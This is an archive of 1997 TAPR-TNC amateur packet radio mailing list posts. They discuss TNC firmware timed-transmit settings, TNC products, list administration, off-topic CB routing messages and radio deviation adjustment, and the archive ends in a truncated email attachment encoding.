W7JEN W7KCZ W7KKN W7LNG W7MO W7WM W7WM W8AH WA6TLA WA6TLA
WA6WRS WA7BPI WA7LN WB4FN WB7DZN WB7DZN WC1JN WC7N WO6MCA
WZ6Z XU2FB XU6WV YB2BKJ YB4FIK YB4FNN YC8UYB ZS5ADU ZS6APS

<< MERCI D'ENVOYER VOS REMARQUES OU VOS LOG A :
A: F5RQQ@AOL.COM
Cc : F1RYV@AOL.COM >>

<< TKS FOR SEND NOTICE OR YOUR LOG TO :
A: F5RQQ@AOL.COM
Cc: F1RYV@AOL.COM >>

12. Code modifications for TNC source code

From: TJ Johnston <TJohnston@CSI-AVS.COM>
Date: Wed, 6 Aug 1997 16:39:16 -0400
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <089C84510DFED011840B0060081487D601842E@csiavs02.csi-avs.com>
Rendered body type: text/plain

I need some help from the TNC gurus...

I have a PacComm-200 TNC. I wish to make an addition to the programming.
I can burn the eprom.. thats not the problem... I need help locating
source code that will work in this tnc. Then I need to add a special
function to the code and burn a new eprom..

The special function is this: A timed transmit - that will send all
charaters received from the terminal or pc at specified intervals (like
20 seconds), wether or not a carriage return has been received.

The command would look like this:

TXAUT 0 turns off the automatic transmit timer

TXAUT 20   turns on the automatic transmit, activating every 20
seconds

should be able to go as low as 2 seconds and not more than 59 seconds,
and should only transmit if there is something in the buffer.

Can anyone help??? I am not a programmer... and could use a helping
hand..

Donations to the helper's hamfest fund for helping me out! :)

Tj Johnston (N4UYQ)   <tjohnston@csi-avs.com>

13. Re: [TAPR-TNC:371] Code modifications for TNC source code

From: dkelly@hiwaay.net
Date: Wed, 06 Aug 1997 20:28:11 -0500
To: tapr-tnc@tapr.org
Message-ID: <199708070128.UAA01449@nexgen.hiwaay.net>
Rendered body type: text/plain

TJ Johnston writes:
>
> I need some help from the TNC gurus...
>
> I have a PacComm-200 TNC. I wish to make an addition to the programming.
> I can burn the eprom.. thats not the problem... I need help locating
> source code that will work in this tnc. Then I need to add a special
> function to the code and burn a new eprom..
>
> The special function is this: A timed transmit - that will send all
> charaters received from the terminal or pc at specified intervals (like
> 20 seconds), wether or not a carriage return has been received.

Isn't this available in the standard TNC-2 under "transparent mode?"

--
David Kelly N4HHE, dkelly@hiwaay.net
==
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.

14. Re: [TAPR-TNC:372] Re: Code modifications for TNC source code

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Thu, 07 Aug 1997 14:56:12 +0200
To: tapr-tnc@tapr.org
Message-ID: <33E9C5EC.2435@t-online.de>
Rendered body type: text/plain

dkelly@hiwaay.net wrote:
>
> TJ Johnston writes:
> >
> > I need some help from the TNC gurus...
> >
....
> >
> > The special function is this: A timed transmit - that will send all
> > charaters received from the terminal or pc at specified intervals (like
> > 20 seconds), wether or not a carriage return has been received.
>

Maybe the TNC3S could solve your problems as well. It includes a
Hayes-compatible
command set, instead of 'connect XYZ' you say 'AT DP XYZ' and after the

message
'CONNECTED' you will have a fully transparent link. Packets are sent
after a
delay, which can be defined to e.g. 1 second. (No need for EOL
characters)

--
Ulf Kumm, DK9SJ,   D-70597 Stuttgart, Johannes-Kraemer-Str. 34
eMail: Ulf.Kumm@t-online.de Phone: +49 711 7678-925 Fax: -924
Internet home: http://home.t-online.de/home/Ulf.Kumm/main.htm

15. RE: [TAPR-TNC:373] Re: Code modifications for TNC source code

From: TJ Johnston <TJohnston@CSI-AVS.COM>
Date: Thu, 7 Aug 1997 17:59:36 -0400
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <089C84510DFED011840B0060081487D601842F@csiavs02.csi-avs.com>
Rendered body type: text/plain

Is the "TNC3" in production? who makes it? It might be just what I am
looking for.

> -----Original Message-----
> From: Ulf.Kumm@t-online.de [SMTP:Ulf.Kumm@t-online.de]
> Sent: Thursday, August 07, 1997 10:55 AM
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:373] Re: Code modifications for TNC source
> code
>
>
> Maybe the TNC3S could solve your problems as well. It includes a
> Hayes-compatible
> command set, instead of 'connect XYZ' you say 'AT DP XYZ' and after
> the message
> 'CONNECTED' you will have a fully transparent link. Packets are sent
> after a
> delay, which can be defined to e.g. 1 second. (No need for EOL
> characters)
>
>

16. Re: [TAPR-TNC:371] Code modifications for TNC source code

From: garym@cts.com (Gary Morris)
Date: Thu, 7 Aug 1997 21:20:51 -0700
To: tapr-tnc@tapr.org
Message-ID: <m0wwgXj-00000pC@crash.cts.com>
Rendered body type: text/plain

In "[TAPR-TNC:371] Code modifications for TNC source code", on Aug 6, TJ Johnston writes:
>The special function is this: A timed transmit - that will send all
>charaters received from the terminal or pc at specified intervals (like
>20 seconds), wether or not a carriage return has been received.
>should be able to go as low as 2 seconds and not more than 59 seconds,
>and should only transmit if there is something in the buffer.

Your TNC2 already has this, the PACTIME command that controls it. The range
is 0.1 to 25.5 seconds (ie, 5 secs: PACTIME EVERY 50). See the manual for
details on how to use the command.   Basically it accumulates characters in
the buffer of the TNC, and when it has at least 1 unsent character and the
timeout has been reach (since the first char arrived) then it sends a
packet. Exactly what you wanted. If you want to use this in converse mode
(it is always enabled in transparent mode) then you must enable it with
"CPACTIME ON" command.

If you do use it in converse mode, and don't want it to sent packets when
you enter a <return> then you should change SENDPAC to some character you
don't use, ie: "SENDPAC 0". Also you probably want to disable the addition
of a <return> on the end of each packet (which is done by default) by doing
a "CR OFF". See also PACLEN for maximum packet length, which causes it to
transmit the buffer when it collect PACLEN number of chars.

--GaryM (KK6YB)

17. Re: [TAPR-TNC:374] Re: Code modifications for TNC source code

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Fri, 08 Aug 1997 08:07:40 +0200
To: tapr-tnc@tapr.org
Message-ID: <33EAB7AC.56C1@t-online.de>

Rendered body type: text/plain

TJ Johnston wrote:
>
> Is the "TNC3" in production? who makes it? It might be just what I am
> looking for.

Yes. Have a look at http://symek.com/tnc-g/tnc3.htm. It is a German
product
and uses 16 bit MC68302 CPU instead of Z80. This makes programming much
more
flexible (no adress space limits at 32k) and faster (1,2 MBit/s
fulldup).

For more info just eMail me. 73! Ulf

>
> > Maybe the TNC3S could solve your problems as well. It includes a
> > Hayes-compatible
> > command set, instead of 'connect XYZ' you say 'AT DP XYZ' and after
> > the message
> > 'CONNECTED' you will have a fully transparent link. Packets are sent
> > after a
> > delay, which can be defined to e.g. 1 second. (No need for EOL
> > characters)

--
Ulf Kumm, DK9SJ, SYMEK GmbH, Mail: ulfkumm@symek.com
D-70597 Stuttgart,   Johannes-Kraemer-Strasse 34
Phone: +49 711 7678-925, Fax: -924, http://symek.com

18. Re: [TAPR-TNC:374] Re: Code modifications for TNC source code

From: Harry Burford <hburford@airmail.net>
Date: Fri, 08 Aug 1997 09:16:14 -0500
To: tapr-tnc@tapr.org
Message-ID: <33EB2A2E.989DB24C@airmail.net>
Rendered body type: text/plain

I'm just catching this thread.

Do you mean the KPC-3 from Kantronics?

hb

TJ Johnston wrote:

> Is the "TNC3" in production? who makes it? It might be just what I am
> looking for.
>
> > -----Original Message-----
> > From: Ulf.Kumm@t-online.de [SMTP:Ulf.Kumm@t-online.de]
> > Sent: Thursday, August 07, 1997 10:55 AM
> > To: tapr-tnc@tapr.org
> > Subject: [TAPR-TNC:373] Re: Code modifications for TNC source
> > code
> >
> >
> > > Maybe the TNC3S could solve your problems as well. It includes a
> > > Hayes-compatible
> > > command set, instead of 'connect XYZ' you say 'AT DP XYZ' and after
> > > the message
> > > 'CONNECTED' you will have a fully transparent link. Packets are sent
>
> > > after a
> > > delay, which can be defined to e.g. 1 second. (No need for EOL
> > > characters)
> >
> > >

19. TAPR Server to be down 8/9/97

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Fri, 8 Aug 1997 22:24:44 -0500
To: "TAPR-BB list   mailing"<tapr-bb@tapr.org>,
        "TAPR   APRS SIG"<aprssig@tapr.org>,
        "HF SIG list   mailing"<hfsig@tapr.org>,
        "NETSIG list   mailing"<netsig@tapr.org>,

"BBS SIG list   mailing"<bbssig@tapr.org>,
" Spread Spectrum "<ss@tapr.org>, " TAPR SYS "<tapr-sys@tapr.org>,
" tapr-tnc "<tapr-tnc@tapr.org>, aprs-fl@tapr.org,
" tacgps "<tacgps@tapr.org>,
TAPR Regional Freq <regional_freq@tapr.org>,
" TAPR/AMSAT DSP "<dsp@tapr.org>, " DSP-93 Build "<dsp-93@tapr.org>,
" TPRS Board "<tprs-board@tapr.org>
Message-ID: <v03020900b01191cb3c5c@[208.134.134.40]>
Rendered body type: text/plain

I just received a call informing us that the building location where the
TAPR.ORG server is located will be without power tomorrow for most of the
day.

We will be shutting down the server between 7am and 8am and don't expect
that it will be available until late Saturday evening when power is
restored.

Cheers - Greg, WD5IVD

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd

    "Before you become too entranced with gorgeous gadgets
     and mesmerizing video displays, let me remind you that
     information is not knowledge, knowledge is not wisdom,
     and wisdom is not foresight. Each grows out of the other
     and we need them all."   -Arthur C. Clarke

20. Re: [TAPR-TNC:377] Re: Code modifications for TNC source code

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Sat, 09 Aug 1997 12:18:10 +0200
To: tapr-tnc@tapr.org
Message-ID: <33EC43E2.6279@t-online.de>
Rendered body type: text/plain

Harry Burford wrote:
>
> I'm just catching this thread.
>
> Do you mean the KPC-3 from Kantronics?

No, it is called TNC3S, 15MHz MC68302 CPU, 64k up to 2 MByte CMOS RAM,
256 kB EPROM,
16 Bit Bus, 2 Modems (e.g. 1200 + 9600), Mailbox, Flash-EPROM w. upload,
etc.
It is a German product but seems not to be very known outside Europe.
See the page http://symek.com for info on the TNC3

73! Ulf, DK9SJ

>
> TJ Johnston wrote:
>
> > Is the "TNC3" in production? who makes it? It might be just what I am
> > looking for.

21. CB Messages on Amateur Packet

From: "John Dundas" <J.M.Dundas@btinternet.com>
Date: Sat, 9 Aug 1997 20:41:33 +0100
To: <tapr-tnc@tapr.org>
Message-ID: <E0wxIQ4-0003QN-00@helium.btinternet.com>
Rendered body type: text/plain

Hello One and all,

Has anyone elsed noticed the amount of messages that are getting onto the
network which contain NON-Amateur BBSs in the routing lines?

Is this just an EU problem or does it happen all over the world?

John Dundas

J.M.Dundas@btinternet.com

Key Radio Systems (Scotland) Ltd   Homepages

http://www.btinternet.com/~keyradio.scot/

22. unscribe

From: Manuel Fernando Resende Pereira <nop04918@mail.telepac.pt>
Date: Thu, 07 Aug 1997 11:00:13 +0100
To: tapr-tnc@tapr.org
Message-ID: <33E98E7D.10B2@mail.telepac.pt>
Rendered body type: text/plain

Bets Regards.
Please Unscribe.

23. Re: [TAPR-TNC:381] unscribe

From: bobsmith@i2020.net (Robert L Smith)
Date: Sun, 10 Aug 1997 08:18:51 -0400
To: tapr-tnc@tapr.org
Message-ID: <19970810122853.AAA7082@OZZIE>
Rendered body type: text/plain

At 05:12 AM 8/10/97 -0500, you wrote:
>Bets Regards.
>Please Unscribe.
>
This will not work. It is sent to the wrong place and the wrong command
is used.

Please find attached the last announcement from the list admisistrator.

****
From: hgoldste@mpcs.com
To: tapr-tnc@tapr.org

        Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
****

To Unsubscribe:

To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

For help with the listproc

The list processor TAPR runs has many interesting features. Please check
them out at your leisure. To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject. In the message body write

    HELP

Posting rejected?

This mailing list accepts postings only from subscribers. If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.

Problems with your internet provider?

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE. This should be extremely
unlikely but if it happens, DO NOT PANIC: Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

****
  Statement of Purpose
****

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs. It is not moderated. Please
try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

****

  73 de bob, wa4ypv

>

```
----  Avoid computer viruses  --  Practice safe hex  --------------
 * * Specializing in small, cost effective embedded control systems * *
Robert L. (Bob) Smith                  Smith Machine Works, Inc.
internet   bobsmith@i2020.net          9900 Lumlay Road
landline   804/745-1065                Richmond, Virginia 23236+1004
```

24. Re: [TAPR-TNC:380] CB Messages on Amateur Packet

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Mon, 11 Aug 1997 20:56:22 +0200
To: tapr-tnc@tapr.org
Message-ID: <33EF6056.330F@t-online.de>
Rendered body type: text/plain

John Dundas wrote:
>
> Hello One and all,
>
> Has anyone elsed noticed the amount of messages that are getting onto the
> network which contain NON-Amateur BBSs in the routing lines?
>
> Is this just an EU problem or does it happen all over the world?

>From SW-Germany (DB0ID Digipeater Stuttgart):
we have nearly NO non-amateur calls in our lists. It's not a problem
here.
We sometimes find some erraneous calls where the first letter seems to
be
omitted, like L4ABC (whereas DL4ABC occurs in the same list).

--
Ulf Kumm, DK9SJ, SYMEK GmbH, Mail: ulfkumm@symek.com
D-70597 Stuttgart,   Johannes-Kraemer-Strasse 34
Phone: +49 711 7678-925, Fax: -924, http://symek.com

25. Re: CB Messages on Amateur Packet

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 11 Aug 1997 17:06:32 -0400
To: tapr-tnc@tapr.org
Message-ID: <199708112106.RAA00496@penny.n2wx.ampr.org>
Rendered body type: text/plain

Folks,

Please take this (CB on pkt) thread over to BBSSIG, usenet, or email.

>From welcome message:

 The following subjects with respect to TNC-1 and TNC-2 and their
 clones are "on topic":

  o - Hardware bugs, problems, mods
  o - Firmware bugs, problems, patches
  o - TAPR documentation
  o - Interface issues
  o - Announcements of the above
  o - Suggestions for enhancements
  o - and anything else reasonably resembling the above
  x - but note that binary postings are never allowed

Unless someone presents a persuasive argument that non-ham messages
leaking into the BBS network is a subject even unreasonably resembling
any of the above I shall officially declare the thread dead.

26. Re: [TAPR-TNC:363] KAM and packet repeater problem

From: Byron Smith <wa6ylb@theworks.com>
Date: Mon, 11 Aug 1997 18:05:35 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19970811180535.0a7f7fc8@theworks.com>
Rendered body type: text/plain

I do not have a deviation meter to verify my deviation.

THis is a fairly simple thing to do. If you have access to a SIMPSON style
260 volt ohm meter, you can use its AC scale to set Dev. Connect the ohm
meter leads on the "output" and Ground points on the Simpson.
Then connect the meter to the audio output of a second 2m radio you have
there.
Whisle into the mic of the orginial radio, and set the audio output from

the second radio to show 0 Db under the AC scale, on the bottom of the radio.
0 dB will equal about 5kc, assuming your radio is close to sending 5kc. 6db
down from there is 3 kc's

This maynot be the worlds easiest, but it can work.
Try it. If you need to locate a analog meter to measure this, as most
digitals dont measure DB's. Try the DB meter on the phone line. Normal
talking hovers at -13 to -10 db, modems at -13 sending into the line, and a
loud talker gets close
to 0 dB.... if you think of 0 db = 5kcs, then you will see where this
can work for you. I'd certainly try it. BTW, packet tones will be of
different amplitudes, depending on the preemphesis of your radio. You
should see up to 6 db difference between the tones as seen in the CALIBRATE
command with in the tnc.
Set the 3 kcs to the the loudest tone.

BTW, touch tones are set at 3.3kc too...

Byron Smith
wa6ylb@theworks.com
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

27. Re: [TAPR-TNC:371] Code modifications for TNC source code

From: Byron Smith <wa6ylb@theworks.com>
Date: Mon, 11 Aug 1997 18:11:36 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19970811181136.29770450@theworks.com>
Rendered body type: text/plain

THis already exists, but without the "no transmit if the input buffer is
empty"
I have played with things like setting the paclength to a very small
amount, like a character or two - it will send it once this "max pacet
length is meet"
I know this isnt what your looking for completly, but the source code for
them tnc's is very guarded, and costs 5k for a license from tapr.

At 03:42 PM 8/6/97 -0500, you wrote:
>I need some help from the TNC gurus...
>
>I have a PacComm-200 TNC. I wish to make an addition to the programming.
>I can burn the eprom.. thats not the problem... I need help locating
>source code that will work in this tnc. Then I need to add a special
>function to the code and burn a new eprom..
>
>The special function is this: A timed transmit - that will send all
>charaters received from the terminal or pc at specified intervals (like
>20 seconds), wether or not a carriage return has been received.
>
>The command would look like this:
>
>TXAUT 0   turns off the automatic transmit timer
>
>TXAUT 20   turns on the automatic transmit, activating every 20
>seconds
>
>should be able to go as low as 2 seconds and not more than 59 seconds,
>and should only transmit if there is something in the buffer.
>
>Can anyone help??? I am not a programmer... and could use a helping
>hand..
>
>Donations to the helper's hamfest fund for helping me out! :)
>
>Tj Johnston (N4UYQ)   <tjohnston@csi-avs.com>
>
>

Byron Smith
wa6ylb@theworks.com
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

28. Re: [TAPR-TNC:383] Re: CB Messages on Amateur Packet

From: Uwe Krause <dl6mpg@fep.fhg.de>
Date: Tue, 12 Aug 1997 10:31:53 +0100
To: tapr-tnc@tapr.org
Message-ID: <33F02D89.999@fep.fhg.de>
Rendered body type: text/plain

--
> Is this just an EU problem or does it happen all over the world?

The most cb-messages found in my local box come from the usa !
it´s not an european problem i think. most of these callsigns and boxes
are rejected in german mailboxes.

73 Uwe

Uwe Krause, DL6MPG
dl6mpg@db0oca.#saa.deu.eu - dl6mpg@db0oca.ampr.org
phone : +49(0)35973 281 31 email : dl6mpg@fep.fhg.de
URL : http://graf350.urz.uni-magdeburg.de/~ukrause

29. Re: [TAPR-TNC:386] Re: Code modifications for TNC source code

From: "Thomas A. Moulton" <w2vy@gte.net>
Date: Thu, 14 Aug 1997 07:13:51 -0500
To: tapr-tnc@tapr.org
Message-ID: <33F2F67A.A1F4BFB1@gte.net>
Rendered body type: text/plain

Byron Smith wrote:

> THis already exists, but without the "no transmit if the input buffer
> is
> empty"
> I have played with things like setting the paclength to a very small
> amount, like a character or two - it will send it once this "max pacet
>
> length is meet"
> I know this isnt what your looking for completly, but the source code
> for
> them tnc's is very guarded, and costs 5k for a license from tapr.
>

Set the following:

CPACTIME ON
PACTIME After 10

What this will do is each time a character is sent into the Async port a
timer
will be started for 1 Sec (10 * 100 ms) and if that timer times out
without
another character coming in then the buffer will be sent over the air.

In many versions this is automatically invoked when in TRANSparent mode
(assuming PACTIME is set)

You may also run PACtime EVERY 10 which will send the buffer every
second if there
is data in it. I would not rcommend this on a shared channel (Every 100
might be better)

> At 03:42 PM 8/6/97 -0500, you wrote:
> >I need some help from the TNC gurus...
> >
> >I have a PacComm-200 TNC. I wish to make an addition to the
> programming.
> >I can burn the eprom.. thats not the problem... I need help locating
> >source code that will work in this tnc. Then I need to add a special
> >function to the code and burn a new eprom..
> >
> >The special function is this: A timed transmit - that will send
> all
> >charaters received from the terminal or pc at specified intervals
> (like
> >20 seconds), wether or not a carriage return has been received.
> >
> >The command would look like this:

> >
> >TXAUT 0   turns off the automatic transmit timer
> >
> >TXAUT 20   turns on the automatic transmit, activating every 20
> >seconds
> >
> >should be able to go as low as 2 seconds and not more than 59
> seconds,
> >and should only transmit if there is something in the buffer.
> >
> >Can anyone help??? I am not a programmer... and could use a helping
> >hand..
> >
> >Donations to the helper's hamfest fund for helping me out! :)
> >
> >Tj Johnston (N4UYQ)   <tjohnston@csi-avs.com>
> >
> >
>
> Byron Smith
> wa6ylb@theworks.com
> wa6ylb@wa6ylb.#cca.ca.usa.noam
>
> .. Do radioactive cats have 18 half-lives?

Thomas A. Moulton, W2VY
ROSE X.25 Packet Switch http://www.rats.org/rose

30. Baycom WIN95 Device Driver.

From: "(SV2AGW) George Rossopoylos" <sv2agw@the.forthnet.gr>
Date: Wed, 20 Aug 1997 15:49:05 +0300
To: <tapr-tnc@tapr.org>
Message-ID: <199708201251.PAA21278@nefeli.forthnet.gr>
Rendered body type: text/plain

Hi all
After Christmas i decided to support in my Packet programs (AGW for WIN95)
other tncs except from the
standard serial tncs with KISS. So now i manage to publish the first
version for baycom serial modem.
This device driver is a dynamic vxd . This means that the driver is loaded
only when it is needed. No entries in registry or system.ini no tsr from
autoexec.bat.
Just run Packet Engine and from its tnc setup menu select ,as
tnctype,baycom serial.Thats all, select also the com port and the baudrate
1200,2400,etc and you are ready.

Now you can have your baycom run with high quality software.

George Rossopoulos
e-mail:sv2agw@the.forthet.gr
packet:SV2AGW@SV2DXC.TSL.GRC.EU
http://www.forthnet.gr/sv2agw/
http://www.intranet.gr/isefi/rossopou/rossopou.htm

31. Digital Elmer Wanted

From: "Ogborn, Roy W" <OGBORRW@texaco.com>
Date: Wed, 20 Aug 1997 08:23:08 -0500
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <c=US%a=MCI%p=TEXACO%l=MSX01002-970820132308Z-15461@exchange.texaco.com>
Rendered body type: text/plain

Hello All!

I'm a newbie to digital modes (other than CW) on Ham Radio and am
interested in the TAPR AN93. I have lots of beginner questions and
would like to find an e-mail Elmer. I know the tapr-tnc is not for
beginners, so don't want to fill up bandwidth with my questions
directly.

My background is: I develop end-user PC software professionally and hold
an Extra Class AR license with a whopping 14 months on-the-air
experience as a Ham, mostly CW and some SSB phone. I am 42. My
brother-in-law is also a ham and is about to depart on a 2 year sailing
adventure with his wife. I am mainly interested in setting up an
inexpensive, but reliable way of communicating w/ him while they are out
at sea and I'm pretty sure digital HF is the way to go.

If you'd like to help educate me, and you're familiar with the
capabilities of the AN93, please e-mail me directly at:

ki0er@amsat.org

I have a bunch of questions ready to go!

Thanks much!!!

73
Roy Ogborn - KI0ER
ki0er@amsat.org
Littleton, Colorado

32. signoff mic-e

From: dap_idc@juno.com
Date: Thu, 21 Aug 1997 08:31:17 -0700
To: tapr-tnc@tapr.org
Message-ID: <19970821.095906.3630.1.dap_idc@juno.com>
Rendered body type: text/plain

"signoff mic-e"

33. TNC2-NL

From: Robert Campbell <robin19@xs4all.nl>
Date: Wed, 27 Aug 1997 11:03:26 +0200
To: "'TNC-Sig'" <tapr-tnc@tapr.org>
Message-ID: <01BCB2D9.5AB526C0@ztm02-06.dial.xs4all.nl>
Rendered body type: text/plain

Could anyone tell me where to a drilled PCB or possibly the circuit diagram to TNC2c-NL? Thanx in advance!

Finally he's finished typing!

Robin19@xs4all.nl
http://www.xs4all.nl/~robin19/

34. TNC2-NL

From: Robert Campbell <robin19@xs4all.nl>
Date: Sun, 31 Aug 1997 02:48:15 +0200
To: "'TNC-Sig'" <tapr-tnc@tapr.org>
Message-ID: <01BCB5B8.56C210A0@ztm01-27.dial.xs4all.nl>
Rendered body type: text/plain

The TNC2-NL is designed on the basis of the Z80 range of processors.. It is cheap.. About $ 75.00 (If you build it yourself from a kit) It normally has the wad-8-ed software on it but the eprom configuration can be changed to allow it to run the TAPR software as well. As I said I am looking for a designed PCB for this which I can then etch at home.

The website where most of the TNC2 info I have found is located is at:
http://www.pointnet.nl/sp3bax/tnc2/tnc.html
I hope you find it interesting!

'73

Finally he's finished typing!

Robin19@xs4all.nl
http://www.xs4all.nl/~robin19/

35. Re: [TAPR-TNC:393] TNC2-NL

From: Kent Farnsworth <akent@bga.com>
Date: Sat, 30 Aug 1997 21:55:42 -0500
To: tapr-tnc@tapr.org
Message-ID: <199708310255.VAA25914@zoom.bga.com>
Rendered body type: text/plain

Well, I can't read this web page.

Sorry.

Kent Farnsworth - KC5WPW

At 07:50 PM 8/30/97 -0500, you wrote:
>The TNC2-NL is designed on the basis of the Z80 range of processors.. It is
cheap.. About $ 75.00 (If you build it yourself from a kit) It normally has
the wad-8-ed software on it but the eprom configuration can be changed to
allow it to run the TAPR software as well. As I said I am looking for a
designed PCB for this which I can then etch at home.
>
>The website where most of the TNC2 info I have found is located is at:
>http://www.pointnet.nl/sp3bax/tnc2/tnc.html
>I hope you find it interesting!
>
>'73
>
>
>
>
>
>Finally he's finished typing!
>
>Robin19@xs4all.nl
>http://www.xs4all.nl/~robin19/
>
>
>
--- Kent Farnsworth (akent@bga.com)

September 1997

Original source file: tapr-tnc.9709
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9709

1. Mail to tmoulton Returned

```
From: RAMAIL-ADM@ram.net
Date: Tue, 2 Sep 97 13:40:58 -0400
To: tapr-tnc@tapr.org
Message-ID: <9709021740.AA25073@ram.net>
Rendered body type: text/plain
```

The following message is being returned unread.

The message is addressed properly but the addressee
has not accessed their mailbox for at least 7 days

******
****** Message To: tmoulton@ram.net (Tom Moulton)
******
****** Unread Message Follows:
******

From: Orville Beach <Orv@micom.com>
Subject: [TAPR-TNC:346] -Reply
Date: Tue, 10 Jun 1997 13:26:22 -0500 (CDT)
Reply-To: tapr-tnc@tapr.org
Sender: tapr-tnc@tapr.org
To: tapr-tnc@tapr.org
X-Mailer: Novell GroupWise 4.1
Received: Tue, 10 Jun 97 15:22:25 EDT -0400

>>> Robert Campbell <Robin19@xs4all.nl> 06/10/97 09 22am >>>
HELP

What kind of help? :-)

73 - Orv - w6bi
orv@micom.com

---

2. Mail to tmoulton Returned

```
From: RAMAIL-ADM@ram.net
Date: Tue, 2 Sep 97 13:40:58 -0400
To: tapr-tnc@tapr.org
Message-ID: <9709021740.AA25069@ram.net>
Rendered body type: text/plain
```

The following message is being returned unread.

The message is addressed properly but the addressee
has not accessed their mailbox for at least 7 days

******
****** Message To: tmoulton@ram.net (Tom Moulton)
******
****** Unread Message Follows:
******

From: Robert Campbell <Robin19@xs4all.nl>
Subject: [TAPR-TNC:345]
Date: Tue, 10 Jun 1997 12:22:37 -0500 (CDT)
Reply-To: tapr-tnc@tapr.org
Sender: tapr-tnc@tapr.org
To: tapr-tnc@tapr.org
Received: Tue, 10 Jun 97 14:38:40 EDT -0400

------ =_NextPart_000_01BC75D1.6205E760
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

HELP

------ =_NextPart_000_01BC75D1.6205E760
Content-Type: application/ms-tnef
Content-Transfer-Encoding: base64

```
eJ8+IhURAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAENgAQAAgAAAAIAAgABBJAG
ABABAAABAAAADAAAAAMAADADAAAACwAPDgAAAAACAf8PAQAAAEEAAAAAAAAAgSsfpL6jEBmdbgDd
AQ9UAgAAAAB0YXByLXRuY0B0YXByLm9yZwBTTVRQAHRhcHItdG5jQHRhcHIub3JnAAAAAB4AAjAB
AAAABQAAAFNNVFAAAAAAHgADMAEAAAASAAAAdGFwci10bmNAdGFwci5vcmcAAAADABUMAQAAAAMA
/g8GAAAAHgABMAEAAAAUAAAAJ3RhcHItdG5jQHRhcHIub3JnJwACAQswAQAAABcAAABTTVRQOlRB
UFItVE5DQFRBUFIuT1JHAAADAAA5AAAAAAsAQDoBAAAAAgH2DwEAAAAEAAAAAAAAAAwgvAQiABwAY
AAAASVBNLk1pY3Jvc29mdCBNYWlsLk5vdGUAMQgBBIABAAEAAAAAAAABBYADAA4AAADNBwYACgAT
AAUAIwACACEBASCAAwAOAAAAzQcGAAoAEwAFAAgAAgAGAQEJgAEAIQAAADQ4OTcwMDUwQzRFMUQw
MTFCQkZGMDAyMEE5MDEwRDc1APEGAQOQBgCMAQAAEgAAAAsAIwAAAAAAAwAmAAAAAAALACkAAAAA
AAMANgAAAAAQAA5AMDm64LAdbwBHgBwAAEAAAABAAAAAAAAAAIBcQABAAAAFgAAAAG8dcCC61AA
l0nhxBHQu/8AIKkBDXUAAB4AHgwBAAAABQAAAFNNVFAAAAAAHgAfDAEAAAASAAAAUm9iaW4xOUB4
czRhbGwubmwAAAADAAYQBG5WHwMABxAEAAAAHgAIEAEAAAAFAAAASEVMUAAAAAACAQkQAQAAAIwA
AACIAAAABgEAAExaRnWtz/oS/wAKAQ8CFQKoBesCgwBQAvIJAgBjaArAc2V0MjcGAAbDAoMyA8UC
